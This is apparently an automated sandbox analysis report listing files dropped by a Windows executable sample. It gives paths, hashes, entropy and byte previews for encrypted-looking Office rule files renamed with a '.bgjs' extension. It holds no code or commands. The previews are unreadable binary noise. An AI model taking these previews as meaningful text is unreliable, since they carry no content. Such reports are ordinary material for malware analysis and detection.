SHA-512:	9E632364896AB7D3A2E1D175921BBCD4355C0015AA03EE77C244C1675AB91EC273285D6903F836530E473A9DC6C3DE35E22E8CB5D46C099B321AA4D251592177
Malicious:	false
Preview:	<?xml))g.ss....."R.e1`m.3.Y......ba9......g..q.9.(.(...~..,K..%8.!...Px_.Jo.]b.."..:Wtod.....))=..SG......?..%..~Wo.P....XBw\x.]...x.t...}.ym.....ee,'Dvx.{q.[.C..].$q,.......m..W.]%.1U....A./..#ja.B.\|.....Q.3.:tJ.'.m..."RY......9.G.]...\|U....q._.o.aq)...E..j.N............ST....P.7Q...\|u\..e8...)..XF%S..d..i.6S..C....'.......9.3.L=.Q...7..'T.h.m...Gf.!.O..j*...Yg.'x.=._5"..-Q.....Uo.1..d...E.....T...M..x...\.RB"...]7.K..`..{....,QY...U..l..S.......XO...P/ib...y~.O..+.9.i.w.8fU.=fK...?/x..L........3......p.].8`e......~.Td..iv...p....r.k....v.64_.H...Az^......./...)..z..k..x..w...)..1.`:."....o./....v.=....3V.K.....a7q9.sQ..{.$p.wq.ox.1...,3...0...W/....}.Y.00..N......L\|..'..+....mSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.71534969019882
Encrypted:	false
SSDEEP:	12:MjII/AbpSgu4QZmKPXJDbUVEzDYQZra/2+TTWkzRelSZNpXywP0+f1+cii9a:MjIIIbp7ud1jEQZra/xTTWo40piwP4bD
MD5:	9C8E524529F95151797F6AC27CF1FF55
SHA1:	B3D5DAB0330860BED993A36E39CEA94F99436C1C
SHA-256:	14949A566E5C8852316ECF7708454D8330B02C4058AFA01AFBBF35A1FAE57ECF
SHA-512:	75C75AF97BFEFAD8E35ACBA8DEEFD8954A0E2C6D81851BCD5368DB0993521B32DCDF7319995EDB0EDA532438F9666F066B24919E5855C47C318A9900434BC159
Malicious:	false
Preview:	<?xmlz...(Pq..-.nE\.z..jV.Q4a......@..C8..h....\|)aK.%.4.L.\...GD[1...Y.R..a..^.v.v9............C....?.f:..G.!........7...`.C...Q...E.'%...0.Ic...j,Q)Y./.^?.#.k..s...D3.X.RYP2.8O..&..`>F.ml..o..._.5..d....?=H.....9..<...Zj{.(x.....e............a.3.a...~..rw..$....\|pG_,)h....G9....r...T./.+..H.N..k..]2..C$.+t...;........U..J...x._6...K.l.U'\...9..u....7..g.....p..&..2.K]..}.X.6....>.Y...5..R....S....M.1<.M^..:..$....H>(.....EB.7...'..B............~.Q...[.L.nC.U.....IM[.4...<dJf+g9......o.}Ca...Y...>./.w.o...QL.]xB......l}..V..v.Ea7.....F.q.Ski.N.z......%..m..<..8=........z.`.\|.U.f.:{..@..y...'./...B....e.`ZLoE....M.*=..nub..5C....Hc.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7343134722164635
Encrypted:	false
SSDEEP:	24:JNJI0nze7OEMU0FZ88oaZF9TxcMi+BnytLHbD:JNJI0nzO+D9eMdpyt7D
MD5:	64E6193735CAB7E7EE965E3CB93966F6
SHA1:	587AD4221032B625256FA2A4908B2FBA1BD07371
SHA-256:	82828F8DB09446A32E76F6BCD532109B4123DE7B489828D9C8F8DDD118778FE4
SHA-512:	46043BA8ED6135C23808338DCE8F582CF71681624E329657143528BA3C16B2C666525BA729602013E3B734BAAB71D6C4688B5C08BE6AA1EC0C180327EE55C260
Malicious:	false
Preview:	<?xml+9Hf6.#.cW..`..2%OK"....S..Ft.'54....>..3..y..\|/.'..t......~hu.G...4'.T..9\|z.n-_....'...Y0.B.1...S..>&.........u.).."....z>_...`.LB....."..Dj..)k....P.+....y...rl.o........A;2.@..3.I..u.4..D0.1.5...U....#f....(3Lt...IUY.2A..\.yn3..].~.7...$.q...-..C.i@].;,........4.a.....2.nr.`...tB.......J....T........9.C.h.=......~..Y...6..0~J.n....jlX..B...Jj.G.....@X.ss.US..\|wl.4k...#Zz%io..i.(...y..m6..<mlj.>...5K........g...X.3.U..A.......x."..}.D.a%........z...A.3..g.k.......N1A.M.))......F~.4.?..}a-B..j{........"..Er..H....q_,...q.3....D.x/.f.^..4....~_..W.....i...^A...#o.D w.+Qy..w."..@hO)...?..c ..9.........C.X.?.}~...$............)..w,".Z....U!.o.3....hT^..w=g....3[1.gSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.7275200029953535
Encrypted:	false
SSDEEP:	12:4uUKv473Xs3B9Duivh7sY3nEpIfPn1LhAyfEQmrYb/GYq5D+XlbGDPSh13q1+ciD:4AQDc3BvhoY3s0jXBDe5u8S13xbD
MD5:	723F57E9B7B7041E241D092401BBB498
SHA1:	77999EE445DC423928933C6F9CEFCE04B54B7E02
SHA-256:	11EF94253515FAAC578ED52416DF0129C2A8677FC2BEDB77C3A35875DB57E013
SHA-512:	863A137DC019099C647D798ECA2F90C0CD0711CF8672838224F040DB8423A7A49612977CFB0ACF3F5D6FED5EE6BAE1A867C6170A47E948A6EE312D7623DD0CF2
Malicious:	false
Preview:	<?xml........C...5}.d....$./.d.D..4yv..~.. /..[.z...0.y...@Z."%_......X@v........7.....%...g.....r.V.5.`6x..... ...LJ............]..a1i.......\|.'.4......-.-.b...^.........s.S.....GJ...)D....e.....V..+./.p.`....$....f<.<phx..w.........a.+......T.z(.Y...l....M...bn..6.ap..#.#...........{.S.1E.n.7..)7...Ra...&g....d..%.@..`.1C.o2.e.._.&.9.A..!.#):.R...js).Mn..P~....7po%*.\|@$q.........#B.}p...z[../.PR....g0.&P.....A`.u..D0....3+.!....zt.S.K...Y-=\|.Z]).{...:.B=..#sv....J.]V..:9{.O..`.....[..O.5.&.F8.^.=}.8.h..i.......m..}.?..u...9...(1.G..R..d......~.\.%...p\|"He5.M.\).2..C...o..)..i.=..../....R.K..JS........j.<...%...K5/..?.{8../,..k..g....PqSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.735654088218558
Encrypted:	false
SSDEEP:	12:W2Y4GgliNPJLv0h2mlJTQR46w8OKb/XprY/cu4rYaPBQwOViIj+WsQjqkfH1+ciD:Y4b6PVePzcd3b/XpUkuvMmp5sQ/fUbD
MD5:	28A9B74962A59E74BEB375F8C0F0FE9D
SHA1:	8DB73723F204F41447DB1C994AAA0DD12433C17E
SHA-256:	49B6849B075CAFFEA7E90B910BCDE6C21A7FDB21FBC6AF9AA4E4C76F76867F9C
SHA-512:	F7A6B56BD8DD5331CF67E347FE0F81475ADACC136D29FBCBEA74514C3615034BBA79486DA256CAFC425652F189A67896C5929F369F7B1E7847E425A175CB0938
Malicious:	false
Preview:	<?xml.....U.1.NZyc=B49................u@9...n.o..)...,.v...!..?G.+)z.{..G....3..N...{....C.&.P!......]0.......;......>..G.L.}u......q..DY.....x.(H.-L.c9..IE.(\|.S.X.......H.BQ...FvF.\|.P..m.Vf.K..tY.........B)..`V]Tr9.)..D}..[.....R..&....YOe.[p.g...P.."M.%..B.y.,...A$....;....1...\|S...4...wzp..dC..B.}..N...p.............I....[.w.....$ ...........=-.84....h:..s.2.%/..+..e..<H..G.7Jo.\.`t.)....(.m.b...(...._.....!.....v..t9._.\.J#._..".P....~.SY8.Xr.1.3)...$...v..C...7d...B[.E.EO..-u.X3&% ...s.z.....K.@.E...)...k...!..&l.g+\|...,...>....6..k..=..[.L...]J.=.V.....M...AQ+.-...@j=.*R..h...E.6&..E......$.w.\|...M.:..y\1..!.....L..m.+..Xo..PY...$.Ia4..d.x...:..1...Jzv[...Z.?.......>.C....M...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.70761179882807
Encrypted:	false
SSDEEP:	12:0XlZW5eLcUUNo6v36+Vd11NusMrLUf+X+bkQds5SIMd8suapoLMtABYsFwOeRcmX:MlZgyAPKSR8sULUfvkQduxqpoLMtAXC1
MD5:	F491FE5FB3DCAAFCD31C9F0D06D73666
SHA1:	FB2C23CC328822E705CCA82F970246F4FC2951E8
SHA-256:	DE29304EBD9EF252B0BC9AE2463DBB3C9F27A312462A3A997E371FE19254A3A4
SHA-512:	B855260BA78D87EEE4B79A7ABB23EA4744A6E7A2567FE34651A261AED8ABCC2B04E0F49519478527A93B4424CFB51DA26348E81C52E63FB2D6C70A76C90836FE
Malicious:	false
Preview:	<?xml..PJ.5Hn3..gy.......0.B.....7..B.g.h.:.b...._...Xj9.......\m......].u.\|7d...t..$n...;-.O......F.....ZnC....3.z. ~%.w.e.....E(a.A.Q.I]g.O.(.B)...v(.)..h.s..T]f..8...T....P......u.PZ.J.G.?J...F5.X.a..X......OX.o......./..Xn.:o......N....P...,\......}.D.....L#c...O...cJ.p.e..m...s....RN.8.F[..i...#Q..<2...b#..f.R.bO`}.qd.........N........,.{X...nlt..u......A@y.jh.. ~>M.ir.i.'z.bgYM.k.V....Y.$........}.Z.....-h.CS..r.....Fu\..G]E.I.^.s...O...n....b.{.K..J.....K.C..!..#.W:7f.h...~...Y..<..C)..07.PQ.y...J........p6dG.1...R.[..E.s..A]A....}t...&....%t4R.n&..4!..W..cW..F....s0..L,...F..E[V.2..+.X.....o*..%....g%.d....S...n..!SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.757856206238913
Encrypted:	false
SSDEEP:	24:zNdjwlXU3YOyPCVdmSHFltgY6xIEkRhnvur5m+7YRbD:qXDPCVdfluIxxur5mBBD
MD5:	4F11BEF151FDCB60CBCF23D21E08722E
SHA1:	F7636D960EC675B323600FCD8569600E0D84A1EC
SHA-256:	74B49D049BB5948B20D69DC88396EA5D5E33F71A4DA301F2315271157E544D19
SHA-512:	5E8C132063D1D9C66E4ED11C263252B6B70774AA23282E416D79DE7F4B5DF55ABE8B61F32C4D1462FA8B5092D154966F28FF6D357984CA5C4FC6EDB23161914E
Malicious:	false
Preview:	<?xml...pr..=..y....h.....d.Kw..L.k..;..r..J.q.I.%..K..~J.&.@5<....Q..S\.>...m..$]..g.;.....v0.8.QR........:..B..h..2.2..[q.O.W..a.&...VHg..k...,.......$.%Ap...(..q.......c~...#..,....>....-i2.....!.?...2..2...):...LM........R.d.?.....lJ eF..b9.\..:.....8.]=.N..V\|A..W}x......(.}......(.v.Yrai$...7...F..%Xk..L..].F.......~Z..P.?..s.'.R.8q..R.m.....V...G..S!]....o....b.^.......=..7QY.T.#....j........:.?9.2..kd0I:....ag.:..#......ol...e...0......~....dP..K<U2.<A..jk1...Zw....2..{..7-_.9....u.R..E.}.s......f..U.j/....W4...`u)...1GO.Ww7...M........b.......x..QX.n....7.G.t./D.h..3..w.i.u......8gH^..,++"..n.....T.>x........ .;....Bk.n.......g.E..e...C./.q....!..9.N.=.....u..y. c.\|....z....A.4.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.681133635065927
Encrypted:	false
SSDEEP:	12:/lPdCdOCu7vwk9Lwc3KhbY1XmuEngLINRIA+hZ+3AwAnhJTzWmQvXUA61+cii9a:tVsbu7Ik9w9hbYEgLINghZWAwAhJ2lfB
MD5:	F756D9E4135CCA4D250DEC6047C3533D
SHA1:	3A8D2265A6D6DB545D90C8A338E1C3CFDF676DD3
SHA-256:	3F96E727150E4230C06ECE7BCF69A59B9FCC948FE6A8BF94F87232EC97E14FEF
SHA-512:	721CA786AB7AB77F60A8F68D18C1DFC6E051FAC584056E013D070F7C131B27AF0C6C8ECFE907BED585B8E8778D6E578888F7ACF45477EA6E89A09F4353A6A7DE
Malicious:	false
Preview:	<?xml.~A....?.Y.~+..+a.....Rh.%..Dg......p./BCQ4fD.......-t.B+.p@H..9.8......(.t~...NF..0,!....0..N...'`.............<.t....l9{..x.B.a."./......}a'.Vm....9...N.b-.P...l.fv.A.kY.......7....Y_....[..iAF...-Ol........S..eC.N...q.....K/-.IQ..\lcK(..,...tj...............t...n..n........RS?....1.......s_.gv...f.........?..Am......3..u,'4.X..Gw.o.L..g.Q..lS`..x.....q..]..#.....`#6C....A...@n.s..s..u.9..$.=. ..Nu..+m.$.!\|4.......iFw...m?..B..d..p..v.Z..e.tTp.x...x......../.^I..7....8.k..I@......Z.......R.]..RK......If....Q2.?w..+..x.v3".T..;8G~....B{Q.N\..pg.\|......-.1....+A..m*.L..ql.....&.8.q...V.a.S....$.J.p....(,`..i....\|.'.it..C......0..e..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.694874005084754
Encrypted:	false
SSDEEP:	24:DGVvbAMJdwPjhXk1tGaR5M8W+eAgV+XEAp8attztbbD:49JdAcGaR5Mwl0AeatNBD
MD5:	79120C55C9B41B441FC528BBA73506BF
SHA1:	AA4307729C68B0A5A8AF3F376E813B0F9D4F2141
SHA-256:	35C5721F813F325A258C78C47EED59660E7C369EE7160DAE186A2CF066A18447
SHA-512:	E828FEEC7A139FF1FBFC50C58B74E2D046B6D18B51D1FAC6017D7E2B95A38743B1D05F9DBD9A3D4E7CD85706B4CE99DC9FD93CF099C2410D9768F66284BEF4A6
Malicious:	false
Preview:	<?xml.....'.&bu.W.~.....8.q..:..N.S..G....y.M+..0........8@.Nj...Y.?.../?..$.....~..;.%....J..!.A..7....s;.....eZB\...Z.8...Q..c_V.......5..84.V../6.....{..l....F=+.8Y.... .........:{..@..&..dN7.#,1...%3Y.0./....`..c....'E......~J..E.....3RPT.9.oB...u.s.6.....~t.....'C..'..4!f.r....K.QP...@.p.#..AY..}@..wf..h.T...[.L<.u....-.\>.`...B}..[.G9...t...t..d..'nP.r..qh.._. .O..~x....L..I.....\|/..l.^/^...%.Q.d.^...(.Wb.32.9q+.Gpu_O.Q.....\E.N.v=jB.M.0.gC..j..T.7...._.m....A.....k<.K..@.Oxy....m..C.{g........q4.../.%.......q.....H.I.ZZ....D..`...Mc.`.~E..5}dO.g..D...7.O.d..~..o.I.u..0.E~Kw...`...'?..8.%mdp]p....1.%.}....w..R.JA&`A.PdR...w.78.b......M@a.v[g..Y*V.b.uy.2....s'.Q....F..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.701828343503688
Encrypted:	false
SSDEEP:	12:0hssnv6hK7Jiv9wljs1l81frvhy5myzrafIYTZ7TgsFji+Zn/U5zG1+cii9a:0hsthkJy9wljsPks5Lra7THFjTsbD
MD5:	3AC9311E689088590220108F28DCCFE5
SHA1:	BF5158AE7C09DD27D02B0DAF2A2C08C2C7A50303
SHA-256:	A56B8EB29C7708420CB116E3E12DEFFBCF1AF9699D266C10D517C67524B3B546
SHA-512:	840E9BF2599F0B7C48804307030BA6799F9E10DB018008E0781EB50B068D6A82B557B655747192499D9EDC4B952BBD7C54A6B015C75C77D37513234938C0E6F9
Malicious:	false
Preview:	<?xml..W`..WYY.E.Qx.r.v........6.p..:.."4.orNR.$.......a.@A....{....wU}..~.I...i.....b..O_...d ..3.L...8.........o{..)c]...H..D...[C...t...(./....Uj@.x......\E.Ey<..5\|.........VYnSd...UO+C@...8..(..!`4B_.tj....._..Z.0q...F....UvA.....K.j...I..w.v.A....r....j...UO.M.+.J.g. @].....%....a..U...B2...,....q....P..e.G....1....N:..u%.y.N..=.!.j.......`........C..3.A,Fx.I.........Q....4..<..s....?...[.q.L.._.\>..\|........@..C..Q26..?t.Q.....S\|....4....:....C.Tb.4.....0ieu.](...3;.....'6.U....#......:!B.c7M{....}......Er..k.4..,.I.%V.FDm.H.+.#.fq(E2.....c<.4E).A..ma$..}.].W.a..b..@...+phXGqy..o...h..C.l.t:..Y..T.%;...y...A.Q.z...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.686157563347247
Encrypted:	false
SSDEEP:	24:m/T7hKeWfLouzAgKsGJ5tylA/J0JI4+4EbD:IT7o7QNJ26/eJIz4OD
MD5:	1FFA04D4A88690AD7A17DF8B22DACC95
SHA1:	037719718F123F5CE7DCFCFE299264338D13528C
SHA-256:	5DD9D32663E106B104006541F60FD1EF24E58F19F20B3663447B122C3AD304DE
SHA-512:	3B7344E7EA2DD38B3380C8E484189C0B6B67FC2F5746A28B838541C9666FC55032A8D1F2942EA5F59D35A659D9CB3214BFB96323015ED223A9CD7504976F6EDF
Malicious:	false
Preview:	<?xml.6...w....l.u....$...P..~.}(..A...;3....=DMLB..8o.......u#...8^.;Ou)%Qtk.M.h:....k........kW......C.L.X...\|....lICe.%._)..<.x.I....S.O.X.`.....Y..6m.?1...Zh......t..Kn.'..^.\|...........rX.:I..p....i.H..l....l.%.R..J.:Z...H\|......c.] }.x....t.7{#VP.=.....#Z.Q.p.{x.&hQ....n .y.3.>Lm...A...]....fL....u....AB.`_.T.wR.gR..Rc}7..-..a.]#.u...1..Q..o...4+..u...6...d.4)...\|....b{L9.9.I.4..g."...\|M../..vx....:P`........Q...O.1}.>.6..{.../...p[j.d..F.dw8....@B...V.i..G(dZUZ.3..........-..Z...nb.......b~h.Z....>t..$..F_@^..39.Z4.s;0S6..}Q......0......5UZ.W.....3"..dOt"Z\|.=>~..&.="......t...s...cA.....x3.s.r.i._=...:....b^..N......t.B......m.n.u.x....[QT.n.Q..{..^^gt..@.......POqSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.492824125855181
Encrypted:	false
SSDEEP:	12:9qG+46KNsiMuTVUKzYL9EGE32aRxBuaCI0AgDIa1+cii9a:9qGIdiM4ULIRRCrSbD
MD5:	F550BD11D221767DC12FA3F77D84F26E
SHA1:	CCCF2DF544FEF177895C0A42B6F31FF2ED93B3BB
SHA-256:	EA60C2E7198148F21500D00E041EED8D22AA4C6EBA1609C0C8C86F35353A3014
SHA-512:	229593AB4481B8207C28495FAB1FD2355A661F304F08EF33EFDC27E80DEFFCD8D6B1848FFEE52D73B3A0BB80237ECFECC8764E5B1ECCF704F7F0A2E9A226A175
Malicious:	false
Preview:	<?xml...5..U.9;.>%t_S..9..wt.F..V~}.k.....qg._.W.V.....0.\|9...(............6vE...%.x.v....b.rJ\j...]nt.J%.. .}.Z(. ..1.C.K.l.)...&.[.Q.Y..W.6b7.3h.D"yW....,Y..j$W....MZ......E.t.f...Ky..3.YH.d.@.y9dY.....nn.H\|.~.[U..av7...:....v...^..o.c.i#a..X^.......%E0B.?.S....]b...+X..e..t.i..`y...l^...R..q....#..+U....Lx.T.m4{......[K...u=..V@t.z.xZ.!..j/q?...g..2-...i..hPW....o.T....s.K.......Y+.EH.c;....%4.. ...Z.v-...D&SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.9168246415358885
Encrypted:	false
SSDEEP:	48:cfa/4Y/nnLiA7+VUXPs/gtmLGRzQ7evp8WQa+yn8gnbbuInkD:L1nnuUXPHTRzQ6vpoyn8gb6Iw
MD5:	425E3D7800D75C451031A7424489BBEB
SHA1:	E2F6D06F7C8C1E624C4CF611D19DC7BF02DE646C
SHA-256:	BA3F3FE2E362BA9D276D9B64B457B1514AC7996F52D995E02BB76B989DE06B8C
SHA-512:	A342F4D014C41E3587A0B3E882F2C1284CF68CF785DF76D0A4763CDC1D72521EB833BAAFE92829DE868F6DD27CDE88BF97D63F1BC24674407D1DAB6A9F5F9215
Malicious:	false
Preview:	<?xml...t....t.[aw+(...[m..Z......Y<...N...g7E(,......y......hJm..[....R.....-6<.h...~[..Ci.R....:...... _......N....\V4n.wAq.u}?H..0-..>.!..'.'?....)...\.V.%%`..Hs../.5E..1..2.R.i.vx.]....v$.....e.D....@.~b....I..I...O.[.:W`Q...E.`}.h.!......./....m..ux..."...-v2...(.)..k..o.L+...._..&Xe5..K.B9m.z..._.%.Ul%.`....{"..zS...4....E$q.6...BQ/j.k...\z^h...f..D.t...i..q.."..:./.-p$....,....l......#.._.6.w?..Y.......t...kx...T....c..... f.Nx. ..)...I!Q{.0..7...1'&XZA.j....N.L.a.Ue"J..$Q..#a....2z.,M....4........8...b......qSC...Q..3..sG..:2A.....z.S.G....{w.v'.{.X.....Z.oxf......./.?...cZZ..q...Q.F..^..I..C.'].sf....$.a.R...........9...UD.X...v..G..e.B....l....U...~..S.....,..D.T.....=......)..Tl.\\k...\.2 .AvTvt..i......,.c......ge..f......{......q..;..V.J..\|E...&.A.8...UQ..<.z\|.OZ.@..[........UQ.."..,.hm......e..?E..\.Cc...=....K....t...T..J..<.4P..wi.....Pe......OK'....7..l..G.....v........\|.k..*.nb...8...9.f1..6.j~.n.P.{..W>..(G .e..O.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.842509343254641
Encrypted:	false
SSDEEP:	24:0c/9DHPDnu9Jp6yR6UIS7g+7kRLlJpz6kmf79xAojfPfGfZX9DE6HbD:0+HPKDp6g6lF+7oLlJskmfnAoLnG/V7D
MD5:	AE9E53E8C671A1426A20E5AE8CDD241E
SHA1:	0158C88D542531A2A67F38D5DCB5DC2ED5FCDC11
SHA-256:	375559F47DB83B4A73C3F4FFAEA6B96040E8C02D00DEC2F7115251ED51B0C6F9
SHA-512:	E499AD1C3334C749AF2994F55EF56E02503CF5C897C54DAD4B2E7E4FE72704E14A120D805B06B3ED7688026BBE5B316B64FF498C0320DE30694CC2E53785B847
Malicious:	false
Preview:	<?xml........'..v..>.~..9w?5f....^..Y.i.=ZA...Q..V;,o.i...E......QM$....5>..5.Q...m...42j....F....kE..$.....E_...@.x.7.....2.t..V..>...@..6b..yD.;y..Xb.s...8.~w.Y..o"x.z.]=P.^m).....O..S.c]d.^.Xi.P.......h..~"....e.tB......s..........o.]...S..,./...k.I... \.....u !;.@z.[.........-[....-(u.$.F....d....^b...}.^.EH!.....ws...B..W....Ch.O...,..g..yo[fz.t..}...AkF..PC.av.T...j.PT.}/e..NQ.;.}....s._'?1...tY=.4.$...v....O.'3....)o..R.._\M...Q).-. .X.9..m./!..y.........,.....lS;e.y R-.8.X.n...g;.qJ...uL.>.S.j.().y.aE.D.?......W...B...+m7'.0.:?&......b.!([j....Q.E....u.s..W..P....u.....~...hN{..a..x...........n...M'F9....`.._..[...Z.Wp.....\|.B.7...uFH....e..g...N.....^.N..h....?.j2..."....J...Q.o ....mu.?.~..{....Y...!..D.oCj..f..xc...}.)....F..i4M:.......t;.1.[a ........G\......7....X..X{}49........Z...e....2g.)5.7..V..sX.kz..E?"r......!t..q3.WY..s..'.B...g&.:..`@..D..Y?.7...!.....3~.B.nKn ......9D.?Yz`..I{..B..xmv7.fx...r..l..n<.fK.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.7457899247064494
Encrypted:	false
SSDEEP:	24:msHb3UMQESnLlRTtnRzrDVkt2Q3xOjQ2HT26cDbD:mK3yE+PHXCtHgkD
MD5:	B1AE9792C02AB94E7FE6FF57BAE6799F
SHA1:	621AFB0451F9AB941091BE77F3D5C521E18F6F4E
SHA-256:	0437F05F633CCBE376A83CB9D51C86D8CC736F6142D56656E53EE2E5685CC743
SHA-512:	D87FC24D0CF163A987FB93F8C66E90644F8F01ADB220463EDFC72557E0960447DB158D60209F5925A1C864E4A02C248A1962B69E0388A157A491CF057147DC55
Malicious:	false
Preview:	<?xmll.5......?.\.R.q .&.3m.s..nka...nQ..E.Wbz{.....~(w..7..............B...z..$..!.HB.2....M?..q..(l+.......>....{.(..}..L.....EZx6...."S...#_.R.g]...F@].Q.....#.u..}yU..6&...!I........&.5.Ah@,J...2.U.<m...........t)+.W..~.....{..&Y.....f....?......\|}.n......K\&/I...J.........v.E.7.iT........o.....ts].&...dw.L..s&.?JB.:....I.8.X(E.2k...T...H/.Xq\|.xt....;...9..k>....^.k.#.8.\.......V4B.c..w.E....A...eEG..8...+.../.3.]..p.;..q..f.s.".?...>....y.SS.~..45.A..J.Q.9.\..g....H...+JC#P.0......(.Z..A...S.`..$....qR#...MG4.Z......O0.Z.`).a..u.b..r01.H`o.\.....P.)..U.)T0m..........P.....$.;.v...m.s.....\|...]S\.E.1..?.o...(.1.d......zl..vO.^.gA/e...{hx...T...G...j.p.V..........w..e.j..._..p.....C..C_.S.W...'.H`.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.588887531132699
Encrypted:	false
SSDEEP:	12:hUoF/Z/N/hN5IjyKdjwsXXWTzqNzDpGM52Ar94rW3FWsEBd478gJP1+cii9a:qoFZ1/hsyR0GUYmraKMsC478gJcbD
MD5:	726D897DA52FA25D0201D3704C6012DD
SHA1:	EACA29260589C77F9B56308837CDD94B6F0C5368
SHA-256:	BC67B322F8EB14F4638A9811F2BA8167586E656352BCB3498CFF88D9ECEE2339
SHA-512:	AD23D5E873D3E49FCBFB97076070225442AF760D91CD9DFB37533DD8D68CADEBC848EFF636EEC6D3E67B81FBC79AC7EBDA90A155D1315A09322EF445A9BCBCB2
Malicious:	false
